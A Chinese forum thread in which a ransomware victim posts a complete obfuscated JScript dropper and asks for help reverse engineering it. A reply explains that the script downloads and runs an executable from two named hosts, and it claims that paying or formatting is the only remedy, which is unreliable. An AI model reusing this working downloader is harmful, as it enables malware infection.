新型恶意软件,又名勒索软件



我不确定是否允许在这里问这个问题。我只有一个朋友的 PC 感染了某种"勒索软件" - 一种恶意软件,它将加密您的文件并要求支付解密费用。

我设法取出了病毒的根进程(加密并将所有文档,图像和视频文件更改为" *.micro"文件),但是恢复受感染的数据有点困难,而且在线资源还不多。

以下是触发恶意软件.js脚本文件:

var _base64Idx = [
/*43 -43 = 0*/
/*'+',  1,  2,  3,'/' */
62, -1, -1, -1, 63,
/*'0','1','2','3','4','5','6','7','8','9' */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
/*15, 16, 17,'=', 19, 20, 21 */
-1, -1, -1, 64, -1, -1, -1,
/*65 - 43 = 22*/
/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */
0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12,
/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */
13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,
/*91 - 43 = 48 */
/*48, 49, 50, 51, 52, 53 */
-1, -1, -1, -1, -1, -1,
/*97 - 43 = 54*/
/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51
];
function decode(input, output, offset) {
var out = output;
if(!out) {
    out = new Uint8Array(Math.ceil(input.length / 4) * 3);
}
// remove all non-base64 characters
input = input.replace(/[^A-Za-z0-9+/=]/g, '');
offset = offset || 0;
var enc1, enc2, enc3, enc4;
var i = 0, j = offset;
while(i < input.length) {
    enc1 = _base64Idx[input.charCodeAt(i++) - 43];
    enc2 = _base64Idx[input.charCodeAt(i++) - 43];
    enc3 = _base64Idx[input.charCodeAt(i++) - 43];
    enc4 = _base64Idx[input.charCodeAt(i++) - 43];
    out[j++] = (enc1 << 2) | (enc2 >> 4);
    if(enc3 !== 64) {
        // decoded at least 2 bytes
        out[j++] = ((enc2 & 15) << 4) | (enc3 >> 2);
        if(enc4 !== 64) {
            // decoded 3 bytes
            out[j++] = ((enc3 & 3) << 6) | enc4;
        }
    }
}
// make sure result is the exact decoded length
return output ?
    (j - offset) :
    out.subarray(0, j);
}
var tEuosqyTkm = function (packedText) {
var buffer = [];
var length = decode(packedText, buffer);
var charCodeAt = "charCodeAt";
var result = "";
for (var i = 0; i < length; i++) {
    result += String.fromCharCode(buffer[i] ^ "bVE6YUkX3beIQAEG"[charCodeAt](i % "bVE6YUkX3beIQAEG".length));
}
return result;
};
var aideN66 = function() {
var vapidAuw = function() {};
vapidAuw.prototype.create = function(disapprobationQvY) {
    return WScript.CreateObject(disapprobationQvY);
};
return vapidAuw;
}();
(function() {
var nettlepkm = new aideN66();
var banterKA3 = 200;
var inspireRpB = tEuosqyTkm('"JRMR"');
var pallidK2I = tEuosqyTkm('"Jy4gVQ=="');
var sultryiRC = tEuosqyTkm('"NQUmRDAlH3ZgCgAlPQ=="');
var constrainedfQW = tEuosqyTkm('"LwUdexVnRQB+Li0dBRE="');
var interpolatevY1 = tEuosqyTkm('"BDx8AAg0ABdDMA=="');
var denouementpK3 = tEuosqyTkm('"KgcBcCwRER56Jw=="');
var gratisE9J = tEuosqyTkm('"CG4EQWAYCg90Lg=="');
var rangeuR2 = tEuosqyTkm('"Jz0LeGwnBWwFIw=="');
var broochIQm = tEuosqyTkm('"MzoheDZsKhddBQ=="');
var smatteringBY6 = tEuosqyTkm('"NhQQXwwiOABAVA=="');
var interminablecBc = tEuosqyTkm('"MzwOBioiPyJwLQ=="');
var sonorousmpK = tEuosqyTkm('"IxIKchs="');
var evidentzgN = tEuosqyTkm('"MSI3Uzg4"');
var convalesceWKQ = tEuosqyTkm('"RwIAewlwNw=="');
var justifyaTv = tEuosqyTkm('"TDM9Uw=="');
var cedeWsU = Math.pow(2, 10) * 249;
var foilgEV = [ tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H"'), tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H"') ];
var suavityzSi = 2097152;
var flagHQx = nettlepkm.create(sultryiRC);
var endemicfVU = nettlepkm.create(constrainedfQW);
var evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('"TA=="') + evidentzgN);
var humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);
var weltPvA = humbleM87 + suavityzSi + justifyaTv;
var roseatef1b = false;
for (var masticatehJi = 0; masticatehJi < foilgEV.length; masticatehJi++) {
    try {
        var invocationIOk = foilgEV[masticatehJi];
        endemicfVU.open(inspireRpB, invocationIOk, false);
        endemicfVU.send();
        if (endemicfVU.status == banterKA3) {
            try {
                evidentv5F.open();
                evidentv5F.type = 1;
                evidentv5F.write(endemicfVU[tEuosqyTkm('"EDM2RjY7GD1xDQEw"')]);
                if (evidentv5F.size > cedeWsU) {
                    masticatehJi = foilgEV.length;
                    evidentv5F.position = 0;
                    evidentv5F.saveToFile(weltPvA, 2);
                    roseatef1b = true;
                }
            } finally {
                evidentv5F.close();
            }
        }
    } catch (ignored) {}
}
if (roseatef1b) {
    flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));
}
})();

这里有人可以帮助我对此脚本进行逆向工程以解密/恢复加密文件?

谢谢:)

PS 仅供参考,此"勒索软件"脚本自 2016 年 2 月 9 日起通过电子邮件作为附件传播。

它只是下载运行实际的可执行脚本。

首先尝试从http[colon]//helloyoungmanqq.com/26.exe获取它,然后http[colon]//helloyoungmanff.com/26.exe失败。我假设它是同一个文件,只是一个备份下载站点。

所有这些编码内容只是为了混淆它用于运行执行此操作的ActiveX内容的字符串(因为否则它很快就会被软件和人类识别为恶意的)。

这个脚本不是你的答案...它只是导致下一个要研究的东西。

如果您下载这些文件,我强烈建议您非常小心。

玩勒索软件源代码非常危险。如果您尝试从勒索软件中恢复,您最终肯定会丢失数据。删除勒索软件的唯一方法是支付赎金,或者完全格式化系统而不在系统中留下任何文件。

可用于删除勒索软件的工具很少,但我不确定您在这篇文章中谈论的是哪个版本的勒索软件。存在许多勒索软件系列,每个勒索软件都有自己的源代码和文件!

最新更新